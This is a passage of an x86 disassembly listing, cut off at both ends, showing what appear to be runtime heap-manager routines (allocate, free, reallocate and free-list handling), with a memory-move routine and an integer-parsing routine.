[ebx+0Ch] mov edx, eax lea ecx, [edi+esi] sub edx, ecx cmp edx, 0Ch jg short loc_401B0C mov edi, eax sub edi, esi loc_401B0C: ; CODE XREF: sub_401AD4+32j mov eax, esi sub eax, ebp cmp eax, 0Ch jge short loc_401B29 lea ecx, [esp+1Ch+var_1B] mov edx, esi sub edx, [ebx+8] add edx, edi mov eax, ebp call sub_4016EC jmp short loc_401B3A ; --------------------------------------------------------------------------- loc_401B29: ; CODE XREF: sub_401AD4+3Fj lea ecx, [esp+1Ch+var_1B] mov edx, edi sub edx, 4 lea eax, [esi+4] call sub_4016EC loc_401B3A: ; CODE XREF: sub_401AD4+53j mov ebp, [esp+1Ch+var_1B] test ebp, ebp jz short loc_401B76 mov edx, ebp sub edx, esi mov eax, esi call sub_4019B0 mov eax, ebp add eax, [esp+1Ch+var_17] mov edx, [ebx+8] add edx, [ebx+0Ch] cmp eax, edx jnb short loc_401B67 lea edx, [edi+esi] sub edx, eax call sub_401A04 loc_401B67: ; CODE XREF: sub_401AD4+87j lea edx, [esp+1Ch+var_1B] mov eax, ebx call sub_4011FC mov [esp+1Ch+var_1C], 1 loc_401B76: ; CODE XREF: sub_401AD4+1Aj ; sub_401AD4+6Cj mov al, [esp+1Ch+var_1C] add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_401AD4 endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_401B84 proc near ; CODE XREF: sub_4019B0+16p ; sub_401D70+BBp ... push ebx push esi push edi mov esi, edx mov edi, eax mov ebx, edi mov [ebx+8], esi mov eax, ebx add eax, esi sub eax, 0Ch mov [eax+8], esi cmp esi, 1000h jg short loc_401BD9 mov edx, esi test edx, edx jns short loc_401BAB add edx, 3 loc_401BAB: ; CODE XREF: sub_401B84+22j sar edx, 2 mov eax, dword_40560C mov eax, [eax+edx*4-0Ch] test eax, eax jnz short loc_401BCB mov eax, dword_40560C mov [eax+edx*4-0Ch], ebx mov [ebx+4], ebx mov [ebx], ebx jmp short loc_401C05 ; --------------------------------------------------------------------------- loc_401BCB: ; CODE XREF: sub_401B84+35j mov edx, [eax] mov [ebx+4], eax mov [ebx], edx mov [eax], ebx mov [edx+4], ebx jmp short loc_401C05 ; --------------------------------------------------------------------------- loc_401BD9: ; CODE XREF: sub_401B84+1Cj cmp esi, 3C00h jl short loc_401BEE mov edx, esi mov eax, edi call sub_401AD4 test al, al jnz short loc_401C05 loc_401BEE: ; CODE XREF: sub_401B84+5Bj mov eax, dword_405600 mov dword_405600, ebx mov edx, [eax] mov [ebx+4], eax mov [ebx], edx mov [eax], ebx mov [edx+4], ebx loc_401C05: ; CODE XREF: sub_401B84+45j ; sub_401B84+53j ... pop edi pop esi pop ebx retn sub_401B84 endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_401C0C proc near ; CODE XREF: sub_401C58+Fp ; sub_401FF4+100p ... cmp dword_405604, 0 jle short locret_401C55 cmp dword_405604, 0Ch jge short loc_401C2A mov dword_4055B0, 7 jmp short locret_401C55 ; --------------------------------------------------------------------------- loc_401C2A: ; CODE XREF: sub_401C0C+10j mov eax, dword_405604 or eax, 2 mov edx, dword_405608 mov [edx], eax mov eax, dword_405608 add eax, 4 call sub_4019E0 xor eax, eax mov dword_405608, eax xor eax, eax mov dword_405604, eax locret_401C55: ; CODE XREF: sub_401C0C+7j ; sub_401C0C+1Cj retn sub_401C0C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_401C58 proc near ; CODE XREF: sub_401CE4+18p ; sub_401D10+1Dp var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFF0h mov esi, eax lea edi, [esp+1Ch+var_1C] movsd movsd mov edi, esp call sub_401C0C lea ecx, [esp+1Ch+var_14] mov edx, edi mov eax, offset dword_405610 call sub_40118C mov ebx, [esp+1Ch+var_14] test ebx, ebx jnz short loc_401C88 xor eax, eax jmp short loc_401CDA ; --------------------------------------------------------------------------- loc_401C88: ; CODE XREF: sub_401C58+2Aj mov eax, [edi] cmp ebx, eax jnb short loc_401C98 call sub_401A2C sub [edi], eax add [edi+4], eax loc_401C98: ; CODE XREF: sub_401C58+34j mov eax, [edi] add eax, [edi+4] mov esi, ebx add esi, [esp+1Ch+var_10] cmp eax, esi jnb short loc_401CAF call sub_401A9C add [edi+4], eax loc_401CAF: ; CODE XREF: sub_401C58+4Dj mov eax, [edi] add eax, [edi+4] cmp esi, eax jnz short loc_401CC9 sub eax, 4 mov edx, 4 call sub_4019B0 sub dword ptr [edi+4], 4 loc_401CC9: ; CODE XREF: sub_401C58+5Ej mov eax, [edi] mov dword_405608, eax mov eax, [edi+4] mov dword_405604, eax mov al, 1 loc_401CDA: ; CODE XREF: sub_401C58+2Ej add esp, 10h pop edi pop esi pop ebx retn sub_401C58 endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_401CE4 proc near ; CODE XREF: sub_401D70+57p var_C = dword ptr -0Ch push ebx add esp, 0FFFFFFF8h mov ebx, eax mov edx, esp lea eax, [ebx+4] call sub_401538 cmp [esp+0Ch+var_C], 0 jz short loc_401D05 mov eax, esp call sub_401C58 test al, al jnz short loc_401D09 loc_401D05: ; CODE XREF: sub_401CE4+14j xor eax, eax jmp short loc_401D0B ; --------------------------------------------------------------------------- loc_401D09: ; CODE XREF: sub_401CE4+1Fj mov al, 1 loc_401D0B: ; CODE XREF: sub_401CE4+23j pop ecx pop edx pop ebx retn sub_401CE4 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_401D10 proc near ; CODE XREF: sub_402198+1A4p var_10 = dword ptr -10h push ebx push esi add esp, 0FFFFFFF8h mov esi, edx mov ebx, eax mov ecx, esp lea edx, [esi+4] mov eax, ebx call sub_4015C8 cmp [esp+10h+var_10], 0 jz short loc_401D36 mov eax, esp call sub_401C58 test al, al jnz short loc_401D3A loc_401D36: ; CODE XREF: sub_401D10+19j xor eax, eax jmp short loc_401D3C ; --------------------------------------------------------------------------- loc_401D3A: ; CODE XREF: sub_401D10+24j mov al, 1 loc_401D3C: ; CODE XREF: sub_401D10+28j pop ecx pop edx pop esi pop ebx retn sub_401D10 endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_401D44 proc near ; CODE XREF: sub_401D70+4Ap xor edx, edx test eax, eax jns short loc_401D4D add eax, 3 loc_401D4D: ; CODE XREF: sub_401D44+4j sar eax, 2 cmp eax, 400h jg short loc_401D6D loc_401D57: ; CODE XREF: sub_401D44+27j mov edx, dword_40560C mov edx, [edx+eax*4-0Ch] test edx, edx jnz short loc_401D6D inc eax cmp eax, 401h jnz short loc_401D57 loc_401D6D: ; CODE XREF: sub_401D44+11j ; sub_401D44+1Fj mov eax, edx retn sub_401D44 endp ; =============== S U B R O U T I N E ======================================= sub_401D70 proc near ; CODE XREF: sub_401E64+153p push ebx push esi push edi push ebp mov esi, eax mov edi, offset dword_405600 mov ebp, offset dword_405604 loc_401D80: ; CODE XREF: sub_401D70+6Aj mov ebx, dword_4055F8 cmp esi, [ebx+8] jle loc_401E13 mov ebx, [edi] mov eax, [ebx+8] cmp esi, eax jle short loc_401E13 mov [ebx+8], esi loc_401D9B: ; CODE XREF: sub_401D70+31j mov ebx, [ebx+4] cmp esi, [ebx+8] jg short loc_401D9B mov edx, [edi] mov [edx+8], eax cmp ebx, [edi] jz short loc_401DB0 mov [edi], ebx jmp short loc_401E13 ; --------------------------------------------------------------------------- loc_401DB0: ; CODE XREF: sub_401D70+3Aj cmp esi, 1000h jg short loc_401DC5 mov eax, esi call sub_401D44 mov ebx, eax test ebx, ebx jnz short loc_401E13 loc_401DC5: ; CODE XREF: sub_401D70+46j mov eax, esi call sub_401CE4 test al, al jnz short loc_401DD7 xor eax, eax jmp loc_401E5F ; --------------------------------------------------------------------------- loc_401DD7: ; CODE XREF: sub_401D70+5Ej cmp esi, [ebp+0] jg short loc_401D80 sub [ebp+0], esi cmp dword ptr [ebp+0], 0Ch jge short loc_401DED add esi, [ebp+0] xor eax, eax mov [ebp+0], eax loc_401DED: ; CODE XREF: sub_401D70+73j mov eax, dword_405608 add dword_405608, esi mov edx, esi or edx, 2 mov [eax], edx add eax, 4 inc dword_40559C sub esi, 4 add dword_4055A0, esi jmp short loc_401E5F ; --------------------------------------------------------------------------- loc_401E13: ; CODE XREF: sub_401D70+19j ; sub_401D70+26j ... mov eax, ebx call sub_40191C mov edx, [ebx+8] mov eax, edx sub eax, esi cmp eax, 0Ch jl short loc_401E32 mov edx, ebx add edx, esi xchg eax, edx call sub_401B84 jmp short loc_401E44 ; --------------------------------------------------------------------------- loc_401E32: ; CODE XREF: sub_401D70+B4j mov esi, edx cmp ebx, [edi] jnz short loc_401E3D mov eax, [ebx+4] mov [edi], eax loc_401E3D: ; CODE XREF: sub_401D70+C6j mov eax, ebx add eax, esi and dword ptr [eax], 0FFFFFFFEh loc_401E44: ; CODE XREF: sub_401D70+C0j mov eax, ebx mov edx, esi or edx, 2 mov [eax], edx add eax, 4 inc dword_40559C sub esi, 4 add dword_4055A0, esi loc_401E5F: ; CODE XREF: sub_401D70+62j ; sub_401D70+A1j pop ebp pop edi pop esi pop ebx retn sub_401D70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E64 proc near ; CODE XREF: sub_3D5838+5p ; .data:004023D0p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov ebx, eax cmp byte_4055AC, 0 jnz short loc_401E81 call sub_401778 test al, al jz short loc_401E89 loc_401E81: ; CODE XREF: sub_401E64+12j cmp ebx, 7FFFFFF8h jle short loc_401E93 loc_401E89: ; CODE XREF: sub_401E64+1Bj xor eax, eax mov [ebp+var_4], eax jmp loc_401FE7 ; --------------------------------------------------------------------------- loc_401E93: ; CODE XREF: sub_401E64+23j xor ecx, ecx push ebp push offset dword_401FE0 push dword ptr fs:[ecx] mov fs:[ecx], esp cmp byte_405035, 0 jz short loc_401EB4 push offset dword_4055B4 call sub_4010D4 ; RtlEnterCriticalSection loc_401EB4: ; CODE XREF: sub_401E64+44j add ebx, 7 and ebx, 0FFFFFFFCh cmp ebx, 0Ch jge short loc_401EC4 mov ebx, 0Ch loc_401EC4: ; CODE XREF: sub_401E64+59j cmp ebx, 1000h jg loc_401F63 mov eax, ebx test eax, eax jns short loc_401ED9 add eax, 3 loc_401ED9: ; CODE XREF: sub_401E64+70j sar eax, 2 mov edx, dword_40560C mov edx, [edx+eax*4-0Ch] test edx, edx jz short loc_401F63 mov esi, edx mov eax, esi add eax, ebx and dword ptr [eax], 0FFFFFFFEh mov eax, [edx+4] cmp edx, eax jnz short loc_401F14 mov eax, ebx test eax, eax jns short loc_401F03 add eax, 3 loc_401F03: ; CODE XREF: sub_401E64+9Aj sar eax, 2 mov ecx, dword_40560C xor edi, edi mov [ecx+eax*4-0Ch], edi jmp short loc_401F3A ; --------------------------------------------------------------------------- loc_401F14: ; CODE XREF: sub_401E64+94j mov ecx, ebx test ecx, ecx jns short loc_401F1D add ecx, 3 loc_401F1D: ; CODE XREF: sub_401E64+B4j sar ecx, 2 mov edi, dword_40560C mov [edi+ecx*4-0Ch], eax mov ecx, [edx] mov [ebp+var_8], ecx mov ecx, [ebp+var_8] mov [ecx+4], eax mov ecx, [ebp+var_8] mov [eax], ecx loc_401F3A: ; CODE XREF: sub_401E64+AEj mov eax, esi mov edx, [edx+8] or edx, 2 mov [eax], edx add eax, 4 mov [ebp+var_4], eax inc dword_40559C sub ebx, 4 add dword_4055A0, ebx call sub_402A44 jmp loc_401FE7 ; --------------------------------------------------------------------------- loc_401F63: ; CODE XREF: sub_401E64+66j ; sub_401E64+84j cmp ebx, dword_405604 jg short loc_401FB5 sub dword_405604, ebx cmp dword_405604, 0Ch jge short loc_401F87 add ebx, dword_405604 xor eax, eax mov dword_405604, eax loc_401F87: ; CODE XREF: sub_401E64+114j mov eax, dword_405608 add dword_405608, ebx mov edx, ebx or edx, 2 mov [eax], edx add eax, 4 mov [ebp+var_4], eax inc dword_40559C sub ebx, 4 add dword_4055A0, ebx call sub_402A44 jmp short loc_401FE7 ; --------------------------------------------------------------------------- loc_401FB5: ; CODE XREF: sub_401E64+105j mov eax, ebx call sub_401D70 mov [ebp+var_4], eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_401FE7 cmp byte_405035, 0 jz short locret_401FDF push offset dword_4055B4 call sub_4010DC ; RtlLeaveCriticalSection locret_401FDF: ; CODE XREF: sub_401E64+16Fj retn ; --------------------------------------------------------------------------- dword_401FE0 dd 9A3E9h ; sub_401E64+32o db 0, 0EBh, 0E5h ; --------------------------------------------------------------------------- loc_401FE7: ; CODE XREF: sub_401E64+2Aj ; sub_401E64+FAj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_401E64 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401FF4 proc near ; CODE XREF: sub_3D5858+5p ; sub_4019E0+1Cp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, eax xor eax, eax mov dword_4055B0, eax cmp byte_4055AC, 0 jnz short loc_40202C call sub_401778 test al, al jnz short loc_40202C mov dword_4055B0, 8 mov [ebp+var_4], 8 jmp loc_40218D ; --------------------------------------------------------------------------- loc_40202C: ; CODE XREF: sub_401FF4+17j ; sub_401FF4+20j xor ecx, ecx push ebp push offset word_402186 push dword ptr fs:[ecx] mov fs:[ecx], esp cmp byte_405035, 0 jz short loc_40204D push offset dword_4055B4 call sub_4010D4 ; RtlEnterCriticalSection loc_40204D: ; CODE XREF: sub_401FF4+4Dj mov esi, ebx sub esi, 4 mov ebx, [esi] test bl, 2 jnz short loc_402068 mov dword_4055B0, 9 jmp loc_40215D ; --------------------------------------------------------------------------- loc_402068: ; CODE XREF: sub_401FF4+63j dec dword_40559C mov eax, ebx and eax, 7FFFFFFCh sub eax, 4 sub dword_4055A0, eax test bl, 1 jz short loc_4020C8 mov eax, esi sub eax, 0Ch mov edx, [eax+8] cmp edx, 0Ch jl short loc_402098 test edx, 80000003h jz short loc_4020A7 loc_402098: ; CODE XREF: sub_401FF4+9Aj mov dword_4055B0, 0Ah jmp loc_40215D ; --------------------------------------------------------------------------- loc_4020A7: ; CODE XREF: sub_401FF4+A2j mov eax, esi sub eax, edx cmp edx, [eax+8] jz short loc_4020BF mov dword_4055B0, 0Ah jmp loc_40215D ; --------------------------------------------------------------------------- loc_4020BF: ; CODE XREF: sub_401FF4+BAj add ebx, edx mov esi, eax call sub_40191C loc_4020C8: ; CODE XREF: sub_401FF4+8Dj and ebx, 7FFFFFFCh mov eax, esi add eax, ebx mov edi, eax cmp edi, dword_405608 jnz short loc_402108 sub dword_405608, ebx add dword_405604, ebx cmp dword_405604, 3C00h jle short loc_4020F9 call sub_401C0C loc_4020F9: ; CODE XREF: sub_401FF4+FEj xor eax, eax mov [ebp+var_4], eax call sub_402A44 jmp loc_40218D ; --------------------------------------------------------------------------- loc_402108: ; CODE XREF: sub_401FF4+E6j mov edx, [eax] test dl, 2 jz short loc_40212B and edx, 7FFFFFFCh cmp edx, 4 jge short loc_402126 mov dword_4055B0, 0Bh jmp short loc_40215D ; --------------------------------------------------------------------------- loc_402126: ; CODE XREF: sub_401FF4+124j or dword ptr [eax], 1 jmp short loc_402154 ; --------------------------------------------------------------------------- loc_40212B: ; CODE XREF: sub_401FF4+119j mov eax, edi cmp dword ptr [eax+4], 0 jz short loc_40213E cmp dword ptr [eax], 0 jz short loc_40213E cmp dword ptr [eax+8], 0Ch jge short loc_40214A loc_40213E: ; CODE XREF: sub_401FF4+13Dj ; sub_401FF4+142j mov dword_4055B0, 0Bh jmp short loc_40215D ; --------------------------------------------------------------------------- loc_40214A: ; CODE XREF: sub_401FF4+148j mov edx, [eax+8] add ebx, edx call sub_40191C loc_402154: ; CODE XREF: sub_401FF4+135j mov edx, ebx mov eax, esi call sub_401B84 loc_40215D: ; CODE XREF: sub_401FF4+6Fj ; sub_401FF4+AEj ... mov eax, dword_4055B0 mov [ebp+var_4], eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40218D cmp byte_405035, 0 jz short locret_402185 push offset dword_4055B4 call sub_4010DC ; RtlLeaveCriticalSection locret_402185: ; CODE XREF: sub_401FF4+185j retn ; --------------------------------------------------------------------------- word_402186 dw 0FDE9h ; DATA XREF: sub_3D53F4+3Bo ; sub_401FF4+3Bo dd 0EB000007h db 0E5h ; --------------------------------------------------------------------------- loc_40218D: ; CODE XREF: sub_401FF4+33j ; sub_401FF4+10Fj ; DATA XREF: ... mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ebp retn sub_401FF4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_402198 proc near ; CODE XREF: .data:004023C0p var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov esi, edx add esi, 7 and esi, 0FFFFFFFCh cmp esi, 0Ch jge short loc_4021B1 mov esi, 0Ch loc_4021B1: ; CODE XREF: sub_402198+12j mov ebp, eax sub ebp, 4 mov edi, [ebp+0] and edi, 7FFFFFFCh mov eax, ebp add eax, edi mov ebx, eax cmp edi, esi jnz short loc_4021D0 mov al, 1 jmp loc_40236B ; --------------------------------------------------------------------------- loc_4021D0: ; CODE XREF: sub_402198+2Fj cmp edi, esi jle loc_40225B mov edx, edi sub edx, esi mov [esp+18h+var_18], edx cmp ebx, dword_405608 jnz short loc_40221F mov eax, [esp+18h+var_18] sub dword_405608, eax mov eax, [esp+18h+var_18] add dword_405604, eax cmp dword_405604, 0Ch jge loc_402352 mov eax, [esp+18h+var_18] add dword_405608, eax mov eax, [esp+18h+var_18] sub dword_405604, eax mov esi, edi jmp loc_402352 ; --------------------------------------------------------------------------- loc_40221F: ; CODE XREF: sub_402198+4Dj mov ebx, eax test byte ptr [ebx], 2 jnz short loc_402233 mov eax, ebx mov edx, [eax+8] add [esp+18h+var_18], edx call sub_40191C loc_402233: ; CODE XREF: sub_402198+8Cj cmp [esp+18h+var_18], 0Ch jl short loc_402254 mov ebx, ebp add ebx, esi mov eax, [esp+18h+var_18] or eax, 2 mov [ebx], eax mov eax, ebx add eax, 4 call sub_4019E0 jmp loc_402352 ; --------------------------------------------------------------------------- loc_402254: ; CODE XREF: sub_402198+9Fj mov esi, edi jmp loc_402352 ; --------------------------------------------------------------------------- loc_40225B: ; CODE XREF: sub_402198+3Aj ; sub_402198+1B1j mov eax, esi sub eax, edi mov [esp+18h+var_14], eax cmp ebx, dword_405608 jnz short loc_4022D2 mov eax, dword_405604 cmp eax, [esp+18h+var_14] jl short loc_4022C9 mov eax, [esp+18h+var_14] sub dword_405604, eax mov eax, [esp+18h+var_14] add dword_405608, eax cmp dword_405604, 0Ch jge short loc_4022AB mov eax, dword_405604 add dword_405608, eax add esi, dword_405604 xor eax, eax mov dword_405604, eax loc_4022AB: ; CODE XREF: sub_402198+F9j mov eax, esi sub eax, edi add dword_4055A0, eax mov eax, [ebp+0] and eax, 80000003h or esi, eax mov [ebp+0], esi mov al, 1 jmp loc_40236B ; --------------------------------------------------------------------------- loc_4022C9: ; CODE XREF: sub_402198+DCj call sub_401C0C mov ebx, ebp add ebx, edi loc_4022D2: ; CODE XREF: sub_402198+D1j test byte ptr [ebx], 2 jnz short loc_402324 mov edx, ebx mov eax, edx mov ecx, [eax+8] mov [esp+18h+var_18], ecx mov ecx, [esp+18h+var_18] cmp ecx, [esp+18h+var_14] jge short loc_4022F8 add edx, [esp+18h+var_18] mov ebx, edx mov eax, [esp+18h+var_18] sub [esp+18h+var_14], eax jmp short loc_402324 ; --------------------------------------------------------------------------- loc_4022F8: ; CODE XREF: sub_402198+150j call sub_40191C mov eax, [esp+18h+var_14] sub [esp+18h+var_18], eax cmp [esp+18h+var_18], 0Ch jl short loc_402318 mov eax, ebp add eax, esi mov edx, [esp+18h+var_18] call sub_401B84 jmp short loc_402352 ; --------------------------------------------------------------------------- loc_402318: ; CODE XREF: sub_402198+170j add esi, [esp+18h+var_18] mov ebx, ebp add ebx, esi and dword ptr [ebx], 0FFFFFFFEh jmp short loc_402352 ; --------------------------------------------------------------------------- loc_402324: ; CODE XREF: sub_402198+13Dj ; sub_402198+15Ej mov eax, [ebx] test eax, 80000000h jz short loc_40234E and eax, 7FFFFFFCh add eax, ebx mov ebx, eax mov edx, [esp+18h+var_14] mov eax, ebx call sub_401D10 test al, al jz short loc_40234E mov ebx, ebp add ebx, edi jmp loc_40225B ; --------------------------------------------------------------------------- loc_40234E: ; CODE XREF: sub_402198+193j ; sub_402198+1ABj xor eax, eax jmp short loc_40236B ; --------------------------------------------------------------------------- loc_402352: ; CODE XREF: sub_402198+68j ; sub_402198+82j ... mov eax, esi sub eax, edi add dword_4055A0, eax mov eax, [ebp+0] and eax, 80000003h or esi, eax mov [ebp+0], esi mov al, 1 loc_40236B: ; CODE XREF: sub_402198+33j ; sub_402198+12Cj ... pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_402198 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; --------------------------------------------------------------------------- loc_402374: ; DATA XREF: .data:003D6A2Co ; .data:0040402Co push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, edx mov ebx, eax cmp byte_4055AC, 0 jnz short loc_40239B call sub_401778 test al, al jnz short loc_40239B xor eax, eax mov [ebp-4], eax jmp loc_40242C ; --------------------------------------------------------------------------- loc_40239B: ; CODE XREF: .data:00402386j ; .data:0040238Fj xor edx, edx push ebp push offset byte_402425 push dword ptr fs:[edx] mov fs:[edx], esp cmp byte_405035, 0 jz short loc_4023BC push offset dword_4055B4 call sub_4010D4 ; RtlEnterCriticalSection loc_4023BC: ; CODE XREF: .data:004023B0j mov edx, esi mov eax, ebx call sub_402198 test al, al jz short loc_4023CE mov [ebp-4], ebx jmp short loc_402404 ; --------------------------------------------------------------------------- loc_4023CE: ; CODE XREF: .data:004023C7j mov eax, esi call sub_401E64 mov edi, eax mov eax, ebx sub eax, 4 mov eax, [eax] and eax, 7FFFFFFCh sub eax, 4 cmp esi, eax jge short loc_4023EC mov eax, esi loc_4023EC: ; CODE XREF: .data:004023E8j test edi, edi jz short loc_402401 mov edx, edi mov ecx, ebx xchg eax, ecx call sub_4024EC mov eax, ebx call sub_401FF4 loc_402401: ; CODE XREF: .data:004023EEj mov [ebp-4], edi loc_402404: ; CODE XREF: .data:004023CCj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40242C cmp byte_405035, 0 jz short locret_402424 push offset dword_4055B4 call sub_4010DC ; RtlLeaveCriticalSection locret_402424: ; CODE XREF: .data:00402418j retn ; --------------------------------------------------------------------------- byte_402425 db 0E9h, 5Eh, 5 ; DATA XREF: .data:003D579Eo ; .data:0040239Eo dd 0E5EB0000h ; --------------------------------------------------------------------------- loc_40242C: ; CODE XREF: .data:00402396j ; DATA XREF: .data:003D580Co ... mov eax, [ebp-4] pop edi pop esi pop ebx pop ecx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_402438 proc near ; CODE XREF: sub_402F10+Cp push ebx test eax, eax jle short loc_402452 call off_404024 mov ebx, eax test ebx, ebx jnz short loc_402454 mov al, 1 call sub_4024D0 ; --------------------------------------------------------------------------- db 0EBh, 2 ; --------------------------------------------------------------------------- loc_402452: ; CODE XREF: sub_402438+3j xor ebx, ebx loc_402454: ; CODE XREF: sub_402438+Fj mov eax, ebx pop ebx retn sub_402438 endp ; =============== S U B R O U T I N E ======================================= sub_402458 proc near ; CODE XREF: sub_402EEC+1Cp push ebx test eax, eax jz short loc_402472 call off_404028 mov ebx, eax test ebx, ebx jz short loc_402474 mov al, 2 call sub_4024D0 ; --------------------------------------------------------------------------- db 0EBh, 2 ; --------------------------------------------------------------------------- loc_402472: ; CODE XREF: sub_402458+3j xor ebx, ebx loc_402474: ; CODE XREF: sub_402458+Fj mov eax, ebx pop ebx retn sub_402458 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_402478 proc near ; CODE XREF: sub_402484+42p ; .data:00402AF3p mov dword_404004, edx call sub_402ED4 sub_402478 endp ; --------------------------------------------------------------------------- db 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_402484 proc near ; CODE XREF: sub_4024D0+6j push ebx push esi mov esi, edx mov ebx, eax and bl, 7Fh cmp dword_405008, 0 jz short loc_4024A0 mov edx, esi mov eax, ebx call dword_405008 loc_4024A0: ; CODE XREF: sub_402484+10j test bl, bl jnz short loc_4024B1 call sub_40327C mov ebx, [eax+4] jmp short loc_4024C0 ; --------------------------------------------------------------------------- loc_4024B1: ; CODE XREF: sub_402484+1Ej cmp bl, 18h ja short loc_4024C0 xor eax, eax mov al, bl mov bl, byte_404030[eax] loc_4024C0: ; CODE XREF: sub_402484+2Bj ; sub_402484+30j xor eax, eax mov al, bl mov edx, esi call sub_402478 sub_402484 endp ; --------------------------------------------------------------------------- db 5Eh dd 0C08BC35Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4024D0 proc near ; CODE XREF: sub_402438+13p ; sub_402458+13p and eax, 7Fh mov edx, [esp+0] jmp sub_402484 sub_4024D0 endp ; --------------------------------------------------------------------------- db 0C3h ; =============== S U B R O U T I N E ======================================= sub_4024DC proc near ; CODE XREF: sub_40252C+38p ; sub_40252C+4Cp push ebx mov ebx, eax call sub_40327C mov [eax+4], ebx pop ebx retn sub_4024DC endp ; =============== S U B R O U T I N E ======================================= sub_4024EC proc near ; CODE XREF: .data:004023F5p ; sub_402F3C+1Cp push esi push edi mov esi, eax mov edi, edx mov eax, ecx cmp edi, esi ja short loc_40250B jz short loc_402529 sar ecx, 2 js short loc_402529 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40250B: ; CODE XREF: sub_4024EC+Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] sar ecx, 2 js short loc_402529 std rep movsd mov ecx, eax and ecx, 3 add esi, 3 add edi, 3 rep movsb cld loc_402529: ; CODE XREF: sub_4024EC+Cj ; sub_4024EC+11j ... pop edi pop esi retn sub_4024EC endp ; =============== S U B R O U T I N E ======================================= sub_40252C proc near ; CODE XREF: .data:004030FAp ; .data:00403104p ... push ebx push esi mov ebx, eax xor esi, esi mov ax, [ebx+4] cmp ax, 0D7B1h jb short loc_40256B cmp ax, 0D7B3h ja short loc_40256B and ax, 0D7B2h cmp ax, 0D7B2h jnz short loc_402553 mov eax, ebx call dword ptr [ebx+1Ch] mov esi, eax loc_402553: ; CODE XREF: sub_40252C+1Ej test esi, esi jnz short loc_40255E mov eax, ebx call dword ptr [ebx+24h] mov esi, eax loc_40255E: ; CODE XREF: sub_40252C+29j test esi, esi jz short loc_40257D mov eax, esi call sub_4024DC jmp short loc_40257D ; --------------------------------------------------------------------------- loc_40256B: ; CODE XREF: sub_40252C+Ej ; sub_40252C+14j cmp ebx, offset dword_405038 jz short loc_40257D mov eax, 67h call sub_4024DC loc_40257D: ; CODE XREF: sub_40252C+34j ; sub_40252C+3Dj ... mov eax, esi pop esi pop ebx retn sub_40252C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_402584 proc near ; CODE XREF: .data:004030A9p push ebx push esi push edi mov esi, eax push eax test eax, eax jz short loc_4025FA xor eax, eax xor ebx, ebx mov edi, 0CCCCCCCh loc_402597: ; CODE XREF: sub_402584+19j mov bl, [esi] inc esi cmp bl, 20h jz short loc_402597 mov ch, 0 cmp bl, 2Dh jz short loc_402608 cmp bl, 2Bh jz short loc_40260A loc_4025AB: ; CODE XREF: sub_402584+89j cmp bl, 24h jz short loc_40260F cmp bl, 78h jz short loc_40260F cmp bl, 58h jz short loc_40260F cmp bl, 30h jnz short loc_4025D2 mov bl, [esi] inc esi cmp bl, 78h jz short loc_40260F cmp bl, 58h jz short loc_40260F test bl, bl jz short loc_4025F0 jmp short loc_4025D6 ; --------------------------------------------------------------------------- loc_4025D2: ; CODE XREF: sub_402584+39j test bl, bl jz short loc_402603 loc_4025D6: ; CODE XREF: sub_402584+4Cj ; sub_402584+6Aj sub bl, 30h cmp bl, 9 ja short loc_402603 cmp eax, edi ja short loc_402603 lea eax, [eax+eax*4] add eax, eax add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_4025D6 loc_4025F0: ; CODE XREF: sub_402584+4Aj dec ch jz short loc_4025FD test eax, eax jge short loc_40264C jmp short loc_402603 ; --------------------------------------------------------------------------- loc_4025FA: ; CODE XREF: sub_402584+8j ; sub_402584+95j inc esi jmp short loc_402603 ; --------------------------------------------------------------------------- loc_4025FD: ; CODE XREF: sub_402584+6Ej neg eax jle short loc_40264C js short loc_40264C loc_402603: ; CODE XREF: sub_402584+50j ; sub_402584+58j ... pop ebx sub esi, ebx jmp short loc_40264F ; --------------------------------------------------------------------------- loc_402608: ; CODE XREF: sub_402584+20j inc ch loc_40260A: ; CODE XREF: sub_402584+25j mov bl, [esi] inc esi jmp short loc_4025AB ; --------------------------------------------------------------------------- loc_40260F: ; CODE XREF: sub_402584+2Aj ; sub_402584+2Fj ... mov edi, 